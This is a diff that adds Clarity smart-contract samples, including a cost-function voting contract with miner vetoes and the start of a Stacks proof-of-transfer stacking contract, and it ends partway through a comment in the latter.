+              (asserts! (is-some (get revoked-at name-props)) (ok false))
+              (ok true))))))))
+
+(define-read-only (can-name-be-registered (namespace (buff 20)) (name (buff 48)))
+  (let (
+      (wrapped-name-props (map-get? name-properties { name: name, namespace: namespace }))
+      (namespace-props (unwrap! (map-get? namespaces namespace) (ok false))))
+    ;; The name must only have valid chars
+    (asserts!
+      (not (has-invalid-chars name))
+      (err ERR_NAME_CHARSET_INVALID))
+    ;; Ensure that namespace has been launched
+    (unwrap! (get launched-at namespace-props) (ok false))
+    ;; Early return - Name has never be minted
+    (asserts! (is-some (nft-get-owner? names { name: name, namespace: namespace })) (ok true))
+    (let ((name-props (unwrap-panic wrapped-name-props)))
+      ;; Integrity check - Ensure that the name was either "imported" or "registered".
+      (asserts! (is-eq (xor
+        (match (get registered-at name-props) res 1 0)
+        (match (get imported-at name-props)   res 1 0)) 1) (err ERR_PANIC))
+      ;; Is lease expired?
+      (is-name-lease-expired namespace name))))
+
+(define-read-only (name-resolve (namespace (buff 20)) (name (buff 48)))
+  (let (
+    (owner (unwrap!
+      (nft-get-owner? names { name: name, namespace: namespace })
+      (err ERR_NAME_NOT_FOUND))) ;; The name must exist
+    (name-props (unwrap!
+      (map-get? name-properties { name: name, namespace: namespace })
+      (err ERR_NAME_NOT_FOUND)))
+    (namespace-props (unwrap!
+      (map-get? namespaces namespace)
+      (err ERR_NAMESPACE_NOT_FOUND))))
+    ;; The name must not be in grace period
+    (asserts!
+      (not (try! (is-name-in-grace-period namespace name)))
+      (err ERR_NAME_GRACE_PERIOD))
+    ;; The name must not be expired
+    (asserts!
+      (not (try! (is-name-lease-expired namespace name)))
+      (err ERR_NAME_EXPIRED))
+    ;; The name must not be revoked
+    (asserts!
+      (is-none (get revoked-at name-props))
+      (err ERR_NAME_REVOKED))
+    ;; Get the zonefile
+    (let (
+      (lease-started-at (try! (name-lease-started-at? (get launched-at namespace-props) (get revealed-at namespace-props) name-props))))
+      (ok {
+        zonefile-hash: (get zonefile-hash name-props),
+        owner: owner,
+        lease-started-at: lease-started-at,
+        lease-ending-at: (if (is-eq (get lifetime namespace-props) u0) none (some (+ lease-started-at (get lifetime namespace-props))))
+      }))))
+
+(define-read-only (get-namespace-properties (namespace (buff 20)))
+  (let (
+    (namespace-props (unwrap!
+      (map-get? namespaces namespace)
+      (err ERR_NAMESPACE_NOT_FOUND))))
+    (ok { namespace: namespace, properties: namespace-props })))
diff --git a/samples/Clarity/cost-voting.clar b/samples/Clarity/cost-voting.clar
new file mode 100644
index 0000000000..2c38bdd7f7
--- /dev/null
+++ b/samples/Clarity/cost-voting.clar
@@ -0,0 +1,261 @@
+;; The .cost-voting contract
+
+;; error codes
+(define-constant ERR_NO_SUCH_PROPOSAL        1)
+(define-constant ERR_AMOUNT_NOT_POSITIVE     2)
+(define-constant ERR_PROPOSAL_EXPIRED        3)
+(define-constant ERR_VOTE_ENDED              4)
+(define-constant ERR_INSUFFICIENT_FUNDS      5)
+(define-constant ERR_FT_TRANSFER             6)
+(define-constant ERR_STX_TRANSFER            7)
+(define-constant ERR_VOTE_NOT_CONFIRMED      8)
+(define-constant ERR_ALREADY_VETOED          9)
+(define-constant ERR_NOT_LAST_MINER          10)
+(define-constant ERR_INSUFFICIENT_VOTES      11)
+(define-constant ERR_VETO_PERIOD_OVER        12)
+(define-constant ERR_VETO_PERIOD_NOT_OVER    13)
+(define-constant ERR_PROPOSAL_VETOED         14)
+(define-constant ERR_PROPOSAL_CONFIRMED      15)
+(define-constant ERR_FETCHING_BLOCK_INFO     16)
+(define-constant ERR_TOO_MANY_CONFIRMED      17)
+(define-constant ERR_UNREACHABLE             255)
+
+(define-constant VOTE_LENGTH u2016)
+(define-constant VETO_LENGTH u1008)
+(define-constant REQUIRED_PERCENT_STX_VOTE u20)
+(define-constant REQUIRED_VETOES u500)
+
+(define-constant MAX_CONFIRMED_PER_BLOCK u10)
+
+;; cost vote token
+(define-fungible-token cost-vote-token)
+
+;; proposal counters
+(define-data-var proposal-count uint u0)
+(define-data-var confirmed-proposal-count uint u0)
+
+;; cost-function proposals
+(define-map proposals
+    { proposal-id: uint }
+    {
+        cost-function-contract: principal,
+        cost-function-name: (string-ascii 128),
+        function-contract: principal,
+        function-name: (string-ascii 128),
+        expiration-block-height: uint
+    }
+)
+
+;; vote confirmed cost-function proposals
+(define-map vote-confirmed-proposals
+    { proposal-id: uint }
+    { expiration-block-height: uint }
+)
+
+;; miner confirmed cost-function proposals
+(define-map confirmed-proposals
+   { confirmed-id: uint }
+   {
+       function-contract: principal,
+       function-name: (string-ascii 128),
+       cost-function-contract: principal,
+       cost-function-name: (string-ascii 128),
+       confirmed-height: uint
+    }
+)
+
+;; limit the number of miner confirmed-proposals
+;;   that can be introduced per block
+;; track the # of proposals confirmed at a given block-height
+(define-map confirmed-count-at-block uint uint)
+
+(define-map proposal-confirmed-id
+    { proposal-id: uint }
+    { confirmed-id: uint }
+)
+
+(define-map functions-to-confirmed-ids
+   { function-contract: principal, function-name: (string-ascii 128) }
+   { proposal-id: uint }
+)
+
+;; cost-function proposal votes
+(define-map proposal-votes { proposal-id: uint } { votes: uint })
+
+;; cost-function proposal vetos
+(define-map proposal-vetos { proposal-id: uint } { vetos: uint })
+
+;; proposal vetos per block
+(define-map exercised-veto { proposal-id: uint, veto-height: uint } { vetoed: bool })
+
+;; the number of votes a specific principal has committed to a proposal
+(define-map principal-proposal-votes { address: principal, proposal-id: uint } { votes: uint })
+
+;; getter for cost-function proposals
+(define-read-only (get-proposal (proposal-id uint))
+    (map-get? proposals { proposal-id: proposal-id }))
+
+;; getter for confirmed cost-function proposals
+(define-read-only (get-confirmed-proposal (confirmed-id uint))
+    (map-get? confirmed-proposals { confirmed-id: confirmed-id }))
+
+;; getter for cost-function proposal votes
+(define-read-only (get-proposal-votes (proposal-id uint))
+    (get votes (map-get? proposal-votes { proposal-id: proposal-id })))
+
+;; getter for cost-function proposal vetos
+(define-read-only (get-proposal-vetos (proposal-id uint))
+    (get vetos (map-get? proposal-vetos { proposal-id: proposal-id })))
+
+;; getter for cost-function proposal votes, for specific principal
+(define-read-only (get-principal-votes (address principal) (proposal-id uint))
+    (get votes (map-get? principal-proposal-votes { address: address, proposal-id: proposal-id })))
+
+;; Propose cost-functions
+(define-public (submit-proposal (function-contract principal)
+                                (function-name (string-ascii 128))
+                                (cost-function-contract principal)
+                                (cost-function-name (string-ascii 128)))
+    (begin
+        (map-insert proposals { proposal-id: (var-get proposal-count) }
+                              { cost-function-contract: cost-function-contract,
+                                cost-function-name: cost-function-name,
+                                function-contract: function-contract,
+                                function-name: function-name,
+                                expiration-block-height: (+ block-height VOTE_LENGTH) })
+        (map-insert proposal-votes { proposal-id: (var-get proposal-count) } { votes: u0 })
+        (var-set proposal-count (+ (var-get proposal-count) u1))
+        (ok (- (var-get proposal-count) u1))))
+
+;; Vote on a proposal
+(define-public (vote-proposal (proposal-id uint) (amount uint))
+    (let (
+        (expiration-block-height (get expiration-block-height (unwrap! (map-get? proposals {
+            proposal-id: proposal-id }) (err ERR_NO_SUCH_PROPOSAL))))
+        (cur-votes (default-to u0 (get votes (map-get? proposal-votes { proposal-id: proposal-id }))))
+        (cur-principal-votes (default-to u0 (get votes (map-get? principal-proposal-votes {
+            address: tx-sender,
+            proposal-id: proposal-id })))))
+
+    ;; a vote must have a positive amount
+    (asserts! (> amount u0) (err ERR_AMOUNT_NOT_POSITIVE))
+
+    ;; the vote must occur before the expiration
+    (asserts! (< block-height expiration-block-height) (err ERR_PROPOSAL_EXPIRED))
+
+    ;; the proposal must not already be voter confirmed
+    (asserts! (is-none (map-get? vote-confirmed-proposals { proposal-id: proposal-id }))
+        (err ERR_VOTE_ENDED))
+
+    (unwrap! (stx-transfer? amount tx-sender (as-contract tx-sender)) (err ERR_INSUFFICIENT_FUNDS))
+    (unwrap! (ft-mint? cost-vote-token amount tx-sender) (err ERR_UNREACHABLE))
+
+    (map-set proposal-votes { proposal-id: proposal-id } { votes: (+ amount cur-votes) })
+    (map-set principal-proposal-votes { address: tx-sender, proposal-id: proposal-id}
+                                    { votes: (+ amount cur-principal-votes)})
+    (ok true)))
+
+;; Withdraw votes
+(define-public (withdraw-votes (proposal-id uint) (amount uint))
+    (let (
+        (cur-votes (default-to u0 (get votes (map-get? proposal-votes { proposal-id: proposal-id }))))
+        (cur-principal-votes (default-to u0 (get votes (map-get? principal-proposal-votes {
+            address: tx-sender,
+            proposal-id: proposal-id }))))
+        (sender tx-sender))
+
+    (asserts! (> amount u0) (err ERR_AMOUNT_NOT_POSITIVE))
+    (asserts! (>= cur-principal-votes amount) (err ERR_INSUFFICIENT_FUNDS))
+
+    (unwrap! (as-contract (stx-transfer? amount tx-sender sender)) (err ERR_STX_TRANSFER))
+    (unwrap! (as-contract (ft-transfer? cost-vote-token amount sender tx-sender))
+        (err ERR_FT_TRANSFER))
+
+    (map-set proposal-votes { proposal-id: proposal-id } { votes: (- cur-votes amount) })
+    (map-set principal-proposal-votes { address: tx-sender, proposal-id: proposal-id }
+                                        { votes: (- cur-principal-votes amount) })
+    (ok true)))
+
+;; Miner veto
+(define-public (veto (proposal-id uint))
+    (let (
+        (cur-vetos (default-to u0 (get vetos (map-get? proposal-vetos { proposal-id: proposal-id }))))
+        (expiration-block-height (get expiration-block-height (unwrap!
+            (map-get? vote-confirmed-proposals { proposal-id: proposal-id })
+                (err ERR_VOTE_NOT_CONFIRMED))))
+        (vetoed (default-to false (get vetoed (map-get? exercised-veto { proposal-id: proposal-id,
+                                                                         veto-height: block-height }))))
+        (last-miner (unwrap! (get-block-info? miner-address (- block-height u1))
+            (err ERR_FETCHING_BLOCK_INFO))))
+
+    ;; a miner can only veto once per block
+    (asserts! (not vetoed) (err ERR_ALREADY_VETOED))
+
+    ;; vetoes must be cast within the veto period
+    (asserts! (< block-height expiration-block-height) (err ERR_VETO_PERIOD_OVER))
+
+    ;; a miner can only veto if they mined the previous block
+    (asserts! (is-eq contract-caller last-miner) (err ERR_NOT_LAST_MINER))
+
+    ;; a veto cannot be cast if a proposal has already been miner confirmed
+    (asserts! (is-none (map-get? proposal-confirmed-id { proposal-id: proposal-id }))
+        (err ERR_PROPOSAL_CONFIRMED))
+
+    (map-set proposal-vetos { proposal-id: proposal-id } { vetos: (+ u1 cur-vetos) })
+    (map-set exercised-veto { proposal-id: proposal-id, veto-height: block-height }
+                            { vetoed: true })
+    (ok true)))
+
+;; Confirm proposal has reached required vote count
+(define-public (confirm-votes (proposal-id uint))
+    (let (
+        (votes (default-to u0 (get votes (map-get? proposal-votes { proposal-id: proposal-id }))))
+        (proposal (unwrap! (map-get? proposals { proposal-id: proposal-id }) (err ERR_NO_SUCH_PROPOSAL)))
+        (confirmed-count (var-get confirmed-proposal-count))
+        (expiration-block-height (get expiration-block-height proposal)))
+
+    ;; confirmation fails if invoked after proposal has expired
+    (asserts! (< block-height expiration-block-height) (err ERR_PROPOSAL_EXPIRED))
+
+    ;; confirmation fails if the required threshold of votes is not met
+    (asserts! (>= (/ (* votes u100) stx-liquid-supply) REQUIRED_PERCENT_STX_VOTE)
+        (err ERR_INSUFFICIENT_VOTES))
+
+    (map-insert vote-confirmed-proposals { proposal-id: proposal-id }
+        { expiration-block-height: (+ VETO_LENGTH block-height) })
+
+    (ok true)))
+
+;; Confirm proposal hasn't been vetoed
+(define-public (confirm-miners (proposal-id uint))
+    (let ((vetos (default-to u0 (get vetos (map-get? proposal-vetos { proposal-id: proposal-id }))))
+          (vote-confirmed-proposal (unwrap! (map-get? vote-confirmed-proposals
+            { proposal-id: proposal-id }) (err ERR_NO_SUCH_PROPOSAL)))
+          (proposal (unwrap! (map-get? proposals { proposal-id: proposal-id })
+            (err ERR_NO_SUCH_PROPOSAL)))
+          (confirmed-count (var-get confirmed-proposal-count))
+          (expiration-block-height (get expiration-block-height vote-confirmed-proposal))
+          (confirmed-this-block (default-to u0 (map-get? confirmed-count-at-block block-height))))
+
+    ;; have we already confirmed too many proposals in this block
+    (asserts! (< confirmed-this-block MAX_CONFIRMED_PER_BLOCK) (err ERR_TOO_MANY_CONFIRMED))
+    (map-set confirmed-count-at-block block-height (+ u1 confirmed-this-block))
+
+    ;; miner confirmation will fail if invoked before the expiration
+    (asserts! (>= block-height expiration-block-height) (err ERR_VETO_PERIOD_NOT_OVER))
+
+    ;; miner confirmation will fail if there are enough vetos
+    (asserts! (< vetos REQUIRED_VETOES) (err ERR_PROPOSAL_VETOED))
+
+    (map-insert confirmed-proposals { confirmed-id: confirmed-count }
+        {
+            function-contract: (get function-contract proposal),
+            function-name: (get function-name proposal),
+            cost-function-contract: (get cost-function-contract proposal),
+            cost-function-name: (get cost-function-name proposal),
+            confirmed-height: block-height
+        })
+
+    (map-insert proposal-confirmed-id { proposal-id: proposal-id } { confirmed-id: confirmed-count })
+    (var-set confirmed-proposal-count (+ confirmed-count u1))
+    (ok true)))
diff --git a/samples/Clarity/pox.clar b/samples/Clarity/pox.clar
new file mode 100644
index 0000000000..b0791a34f4
--- /dev/null
+++ b/samples/Clarity/pox.clar
@@ -0,0 +1,673 @@
+;; The .pox contract
+;; Error codes
+(define-constant ERR_STACKING_UNREACHABLE 255)
+(define-constant ERR_STACKING_INSUFFICIENT_FUNDS 1)
+(define-constant ERR_STACKING_INVALID_LOCK_PERIOD 2)
+(define-constant ERR_STACKING_ALREADY_STACKED 3)
+(define-constant ERR_STACKING_NO_SUCH_PRINCIPAL 4)
+(define-constant ERR_STACKING_EXPIRED 5)
+(define-constant ERR_STACKING_STX_LOCKED 6)
+(define-constant ERR_STACKING_PERMISSION_DENIED 9)
+(define-constant ERR_STACKING_THRESHOLD_NOT_MET 11)
+(define-constant ERR_STACKING_POX_ADDRESS_IN_USE 12)
+(define-constant ERR_STACKING_INVALID_POX_ADDRESS 13)
+(define-constant ERR_STACKING_ALREADY_REJECTED 17)
+(define-constant ERR_STACKING_INVALID_AMOUNT 18)
+(define-constant ERR_NOT_ALLOWED 19)
+(define-constant ERR_STACKING_ALREADY_DELEGATED 20)
+(define-constant ERR_DELEGATION_EXPIRES_DURING_LOCK 21)
+(define-constant ERR_DELEGATION_TOO_MUCH_LOCKED 22)
+(define-constant ERR_DELEGATION_POX_ADDR_REQUIRED 23)
+(define-constant ERR_INVALID_START_BURN_HEIGHT 24)
+
+;; PoX disabling threshold (a percent)
+(define-constant POX_REJECTION_FRACTION u25)
+
+;; Data vars that store a copy of the burnchain configuration.
+;; Implemented as data-vars, so that different configurations can be
+;; used in e.g. test harnesses.
+(define-data-var pox-prepare-cycle-length uint PREPARE_CYCLE_LENGTH)
+(define-data-var pox-reward-cycle-length uint REWARD_CYCLE_LENGTH)
+(define-data-var pox-rejection-fraction uint POX_REJECTION_FRACTION)
+(define-data-var first-burnchain-block-height uint u0)
+(define-data-var configured bool false)
+
+;; This function can only be called once, when it boots up
+(define-public (set-burnchain-parameters (first-burn-height uint) (prepare-cycle-length uint) (reward-cycle-length uint) (rejection-fraction uint))
+    (begin
+        (asserts! (not (var-get configured)) (err ERR_NOT_ALLOWED))
+        (var-set first-burnchain-block-height first-burn-height)
+        (var-set pox-prepare-cycle-length prepare-cycle-length)
+        (var-set pox-reward-cycle-length reward-cycle-length)
+        (var-set pox-rejection-fraction rejection-fraction)
+        (var-set configured true)
+        (ok true))
+)
+
+;; The Stacking lock-up state and associated metadata.
+;; Records can be inserted into this map via one of two ways:
+;; * via contract-call? to the (stack-stx) method, or
+;; * via a transaction in the underlying burnchain that encodes the same data.
+;; In the latter case, this map will be updated by the Stacks
+;; node itself, and transactions in the burnchain will take priority
+;; over transactions in the Stacks chain when processing this block.
+(define-map stacking-state
+    { stacker: principal }
+    {
+        ;; how many uSTX locked?
+        amount-ustx: uint,
+        ;; Description of the underlying burnchain address that will
+        ;; receive PoX'ed tokens. Translating this into an address
+        ;; depends on the burnchain being used.  When Bitcoin is
+        ;; the burnchain, this gets translated into a p2pkh, p2sh,
+        ;; p2wpkh-p2sh, or p2wsh-p2sh UTXO, depending on the version.
+        pox-addr: { version: (buff 1), hashbytes: (buff 20) },
+        ;; how long the uSTX are locked, in reward cycles.
+        lock-period: uint,
+        ;; reward cycle when rewards begin
+        first-reward-cycle: uint
+    }
+)
+
+;; Delegation relationships
+(define-map delegation-state
+    { stacker: principal }
+    {
+        amount-ustx: uint,              ;; how many uSTX delegated?
+        delegated-to: principal,        ;; who are we delegating?
+        until-burn-ht: (optional uint), ;; how long does the delegation last?
+        ;; does the delegate _need_ to use a specific
+        ;; pox recipient address?
+        pox-addr: (optional { version: (buff 1), hashbytes: (buff 20) })
+    }
+)
+
+;; allowed contract-callers
+(define-map allowance-contract-callers
+    { sender: principal, contract-caller: principal }
+    { until-burn-ht: (optional uint) })
+
+;; How many uSTX are stacked in a given reward cycle.
+;; Updated when a new PoX address is registered, or when more STX are granted
+;; to it.
+(define-map reward-cycle-total-stacked
+    { reward-cycle: uint }
+    { total-ustx: uint }
+)
+
+;; Internal map read by the Stacks node to iterate through the list of
+;; PoX reward addresses on a per-reward-cycle basis.
+(define-map reward-cycle-pox-address-list
+    { reward-cycle: uint, index: uint }
+    {
+        pox-addr: { version: (buff 1), hashbytes: (buff 20) },
+        total-ustx: uint
+    }
+)
+
+(define-map reward-cycle-pox-address-list-len
+    { reward-cycle: uint }
+    { len: uint }
+)
+
+;; how much has been locked up for this address before
+;;   committing?
+;; this map allows stackers to stack amounts < minimum
+;;   by paying the cost of aggregation during the commit
+(define-map partial-stacked-by-cycle
+    {
+        pox-addr: { version: (buff 1), hashbytes: (buff 20) },
+        reward-cycle: uint,
+        sender: principal
+    }
+    { stacked-amount: uint }
+)
+
+;; Amount of uSTX that reject PoX, by reward cycle
+(define-map stacking-rejection
+    { reward-cycle: uint }
+    { amount: uint }
+)
+
+;; Who rejected in which reward cycle
+(define-map stacking-rejectors
+    { stacker: principal, reward-cycle: uint }
+    { amount: uint }
+)
+
+;; Getter for stacking-rejectors
+(define-read-only (get-pox-rejection (stacker principal) (reward-cycle uint))
+    (map-get? stacking-rejectors { stacker: stacker, reward-cycle: reward-cycle }))
+
+;; Has PoX been rejected in the given reward cycle?
+(define-read-only (is-pox-active (reward-cycle uint))
+    (let (
+        (reject-votes
+            (default-to
+                u0
+                (get amount (map-get? stacking-rejection { reward-cycle: reward-cycle }))))
+    )
+    ;; (100 * reject-votes) / stx-liquid-supply < pox-rejection-fraction
+    (< (* u100 reject-votes)
+       (* (var-get pox-rejection-fraction) stx-liquid-supply)))
+)
+
+;; What's the reward cycle number of the burnchain block height?
+;; Will runtime-abort if height is less than the first burnchain block (this is intentional)
+(define-private (burn-height-to-reward-cycle (height uint))
+    (/ (- height (var-get first-burnchain-block-height)) (var-get pox-reward-cycle-length)))
+
+;; What's the block height at the start of a given reward cycle?
+(define-private (reward-cycle-to-burn-height (cycle uint))
+    (+ (var-get first-burnchain-block-height) (* cycle (var-get pox-reward-cycle-length))))
+
+;; What's the current PoX reward cycle?
+(define-private (current-pox-reward-cycle)
+    (burn-height-to-reward-cycle burn-block-height))
+
+;; Get the _current_ PoX stacking principal information.  If the information
+;; is expired, or if there's never been such a stacker, then returns none.
+(define-read-only (get-stacker-info (stacker principal))
+    (match (map-get? stacking-state { stacker: stacker })
+        stacking-info
+            (if (<= (+ (get first-reward-cycle stacking-info) (get lock-period stacking-info)) (current-pox-reward-cycle))
+                ;; present, but lock has expired
+                none
+                ;; present, and lock has not expired
+                (some stacking-info)
+            )
+        ;; no state at all
+        none
+    ))
+
+(define-private (check-caller-allowed)
+    (or (is-eq tx-sender contract-caller)
+        (let ((caller-allowed
+                 ;; if not in the caller map, return false
+                 (unwrap! (map-get? allowance-contract-callers
+                                    { sender: tx-sender, contract-caller: contract-caller })
+                          false)))
+          ;; is the caller allowance expired?
+          (if (< burn-block-height (unwrap! (get until-burn-ht caller-allowed) true))
+              false
+              true))))
+
+(define-private (get-check-delegation (stacker principal))
+    (let ((delegation-info (try! (map-get? delegation-state { stacker: stacker }))))
+      ;; did the existing delegation expire?
+      (if (match (get until-burn-ht delegation-info)
+                 until-burn-ht (> burn-block-height until-burn-ht)
+                 false)
+          ;; it expired, return none
+          none
+          ;; delegation is active
+          (some delegation-info))))
+
+;; Get the size of the reward set for a reward cycle.
+;; Note that this does _not_ return duplicate PoX addresses.
+;; Note that this also _will_ return PoX addresses that are beneath
+;; the minimum threshold -- i.e. the threshold can increase after insertion.
+;; Used internally by the Stacks node, which filters out the entries
+;; in this map to select PoX addresses with enough STX.
+(define-read-only (get-reward-set-size (reward-cycle uint))
+    (default-to
+        u0
+        (get len (map-get? reward-cycle-pox-address-list-len { reward-cycle: reward-cycle }))))
+
+;; How many rejection votes have we been accumulating for the next block
+(define-private (next-cycle-rejection-votes)
+    (default-to
+        u0
+        (get amount (map-get? stacking-rejection { reward-cycle: (+ u1 (current-pox-reward-cycle)) }))))
+
+;; Add a single PoX address to a single reward cycle.
+;; Used to build up a set of per-reward-cycle PoX addresses.
+;; No checking will be done -- don't call if this PoX address is already registered in this reward cycle!
+(define-private (append-reward-cycle-pox-addr (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))
+                                              (reward-cycle uint)
+                                              (amount-ustx uint))
+    (let (
+        (sz (get-reward-set-size reward-cycle))
+    )
+    (map-set reward-cycle-pox-address-list
+        { reward-cycle: reward-cycle, index: sz }
+        { pox-addr: pox-addr, total-ustx: amount-ustx })
+    (map-set reward-cycle-pox-address-list-len
+        { reward-cycle: reward-cycle }
+        { len: (+ u1 sz) })
+    (+ u1 sz))
+)
+
+;; How many uSTX are stacked?
+(define-read-only (get-total-ustx-stacked (reward-cycle uint))
+    (default-to
+        u0
+        (get total-ustx (map-get? reward-cycle-total-stacked { reward-cycle: reward-cycle })))
+)
+
+;; Called internally by the node to iterate through the list of PoX addresses in this reward cycle.
+;; Returns (optional (tuple (pox-addr <pox-address>) (total-ustx <uint>)))
+(define-read-only (get-reward-set-pox-address (reward-cycle uint) (index uint))
+    (map-get? reward-cycle-pox-address-list { reward-cycle: reward-cycle, index: index }))
+
+;; Add a PoX address to the ith reward cycle, if i is between 0 and the given num-cycles (exclusive).
+;; Arguments are given as a tuple, so this function can be (map ..)'ed onto a list of its arguments.
+;; Used by add-pox-addr-to-reward-cycles.
+;; No checking is done.
+;; Returns 1 if added.
+;; Returns 0 if not added.
+(define-private (add-pox-addr-to-ith-reward-cycle (cycle-index uint) (params (tuple
+                                                            (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))
+                                                            (first-reward-cycle uint)
+                                                            (num-cycles uint)
+                                                            (amount-ustx uint)
+                                                            (i uint))))
+    (let ((reward-cycle (+ (get first-reward-cycle params) (get i params)))
+          (num-cycles (get num-cycles params))
+          (i (get i params)))
+    {
+        pox-addr: (get pox-addr params),
+        first-reward-cycle: (get first-reward-cycle params),
+        num-cycles: num-cycles,
+        amount-ustx: (get amount-ustx params),
+        i: (if (< i num-cycles)
+            (let ((total-ustx (get-total-ustx-stacked reward-cycle)))
+              ;; record how many uSTX this pox-addr will stack for in the given reward cycle
+              (append-reward-cycle-pox-addr
+                (get pox-addr params)
+                reward-cycle
+                (get amount-ustx params))
+
+              ;; update running total
+              (map-set reward-cycle-total-stacked
+                 { reward-cycle: reward-cycle }
+                 { total-ustx: (+ (get amount-ustx params) total-ustx) })
+
+              ;; updated _this_ reward cycle
+              (+ i u1))
+            (+ i u0))
+    }))
+
+;; Add a PoX address to a given sequence of reward cycle lists.
+;; A PoX address can be added to at most 12 consecutive cycles.
+;; No checking is done.
+(define-private (add-pox-addr-to-reward-cycles (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))
+                                               (first-reward-cycle uint)
+                                               (num-cycles uint)
+                                               (amount-ustx uint))
+  (let ((cycle-indexes (list u0 u1 u2 u3 u4 u5 u6 u7 u8 u9 u10 u11)))
+    ;; For safety, add up the number of times (add-principal-to-ith-reward-cycle) returns 1.
+    ;; It _should_ be equal to num-cycles.
+    (asserts!
+     (is-eq num-cycles
+            (get i (fold add-pox-addr-to-ith-reward-cycle cycle-indexes
+                         { pox-addr: pox-addr, first-reward-cycle: first-reward-cycle, num-cycles: num-cycles, amount-ustx: amount-ustx, i: u0 })))
+     (err ERR_STACKING_UNREACHABLE))
+    (ok true)))
+
+(define-private (add-pox-partial-stacked-to-ith-cycle
+                 (cycle-index uint)
+                 (params { pox-addr: { version: (buff 1), hashbytes: (buff 20) },
+                           reward-cycle: uint,
+                           num-cycles: uint,
+                           amount-ustx: uint }))
+  (let ((pox-addr     (get pox-addr     params))
+        (num-cycles   (get num-cycles   params))
+        (reward-cycle (get reward-cycle params))
+        (amount-ustx  (get amount-ustx  params)))
+    (let ((current-amount
+           (default-to u0
+             (get stacked-amount
+                  (map-get? partial-stacked-by-cycle { sender: tx-sender, pox-addr: pox-addr, reward-cycle: reward-cycle })))))
+      (if (>= cycle-index num-cycles)
+          ;; do not add to cycles >= cycle-index
+          false
+          ;; otherwise, add to the partial-stacked-by-cycle
+          (map-set partial-stacked-by-cycle
+                   { sender: tx-sender, pox-addr: pox-addr, reward-cycle: reward-cycle }
+                   { stacked-amount: (+ amount-ustx current-amount) }))
+      ;; produce the next params tuple
+      { pox-addr: pox-addr,
+        reward-cycle: (+ u1 reward-cycle),
+        num-cycles: num-cycles,
+        amount-ustx: amount-ustx })))
+
+;; Add a PoX address to a given sequence of partial reward cycle lists.
+;; A PoX address can be added to at most 12 consecutive cycles.
+;; No checking is done.
+(define-private (add-pox-partial-stacked (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))
+                                         (first-reward-cycle uint)
+                                         (num-cycles uint)
+                                         (amount-ustx uint))
+  (let ((cycle-indexes (list u0 u1 u2 u3 u4 u5 u6 u7 u8 u9 u10 u11)))
+    (fold add-pox-partial-stacked-to-ith-cycle cycle-indexes
+          { pox-addr: pox-addr, reward-cycle: first-reward-cycle, num-cycles: num-cycles, amount-ustx: amount-ustx })
+    true))
+
+;; What is the minimum number of uSTX to be stacked in the given reward cycle?
+;; Used internally by the Stacks node, and visible publicly.
+(define-read-only (get-stacking-minimum)
+    (/ stx-liquid-supply STACKING_THRESHOLD_25))
+
+;; Is the address mode valid for a PoX burn address?
+(define-private (check-pox-addr-version (version (buff 1)))
+    (or (is-eq version ADDRESS_VERSION_P2PKH)
+        (is-eq version ADDRESS_VERSION_P2SH)
+        (is-eq version ADDRESS_VERSION_P2WPKH)
+        (is-eq version ADDRESS_VERSION_P2WSH)))
+
+;; Is the given lock period valid?
+(define-private (check-pox-lock-period (lock-period uint))
+    (and (>= lock-period MIN_POX_REWARD_CYCLES)
+         (<= lock-period MAX_POX_REWARD_CYCLES)))
+
+;; Evaluate if a participant can stack an amount of STX for a given period.
+;; This method is designed as a read-only method so that it can be used as
+;; a set of guard conditions and also as a read-only RPC call that can be
+;; performed beforehand.
+(define-read-only (can-stack-stx (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))
+                                  (amount-ustx uint)
+                                  (first-reward-cycle uint)
+                                  (num-cycles uint))
+  (begin
+    ;; minimum uSTX must be met
+    (asserts! (<= (print (get-stacking-minimum)) amount-ustx)
+              (err ERR_STACKING_THRESHOLD_NOT_MET))
+
+    (minimal-can-stack-stx pox-addr amount-ustx first-reward-cycle num-cycles)))
+
+;; Evaluate if a participant can stack an amount of STX for a given period.
+;; This method is designed as a read-only method so that it can be used as
+;; a set of guard conditions and also as a read-only RPC call that can be
+;; performed beforehand.
+(define-read-only (minimal-can-stack-stx
+                   (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))
+                   (amount-ustx uint)
+                   (first-reward-cycle uint)
+                   (num-cycles uint))
+  (begin
+    ;; amount must be valid
+    (asserts! (> amount-ustx u0)
+              (err ERR_STACKING_INVALID_AMOUNT))
+
+    ;; sender principal must not have rejected in this upcoming reward cycle
+    (asserts! (is-none (get-pox-rejection tx-sender first-reward-cycle))
+              (err ERR_STACKING_ALREADY_REJECTED))
+
+    ;; lock period must be in acceptable range.
+    (asserts! (check-pox-lock-period num-cycles)
+              (err ERR_STACKING_INVALID_LOCK_PERIOD))
+
+    ;; address version must be valid
+    (asserts! (check-pox-addr-version (get version pox-addr))
+              (err ERR_STACKING_INVALID_POX_ADDRESS))
+    (ok true)))
+
+;; Revoke contract-caller authorization to call stacking methods
+(define-public (disallow-contract-caller (caller principal))
+  (begin
+    (asserts! (is-eq tx-sender contract-caller)
+              (err ERR_STACKING_PERMISSION_DENIED))
+    (ok (map-delete allowance-contract-callers { sender: tx-sender, contract-caller: caller }))))
+
+;; Give a contract-caller authorization to call stacking methods
+;;  normally, stacking methods may only be invoked by _direct_ transactions
+;;   (i.e., the tx-sender issues a direct contract-call to the stacking methods)
+;;  by issuing an allowance, the tx-sender may call through the allowed contract
+(define-public (allow-contract-caller (caller principal) (until-burn-ht (optional uint)))
+  (begin
+    (asserts! (is-eq tx-sender contract-caller)
+              (err ERR_STACKING_PERMISSION_DENIED))
+    (ok (map-set allowance-contract-callers
+               { sender: tx-sender, contract-caller: caller }
+               { until-burn-ht: until-burn-ht }))))
+
+;; Lock up some uSTX for stacking!  Note that the given amount here is in micro-STX (uSTX).
+;; The STX will be locked for the given number of reward cycles (lock-period).
+;; This is the self-service interface.  tx-sender will be the Stacker.
+;;
+;; * The given stacker cannot currently be stacking.
+;; * You will need the minimum uSTX threshold.  This will be determined by (get-stacking-minimum)
+;; at the time this method is called.
+;; * You may need to increase the amount of uSTX locked up later, since the minimum uSTX threshold
+;; may increase between reward cycles.
+;; * The Stacker will receive rewards in the reward cycle following `start-burn-ht`.
+;; Importantly, `start-burn-ht` may not be further into the future than the next reward cycle,
+;; and in most cases should be set to the current burn block height.
+;;
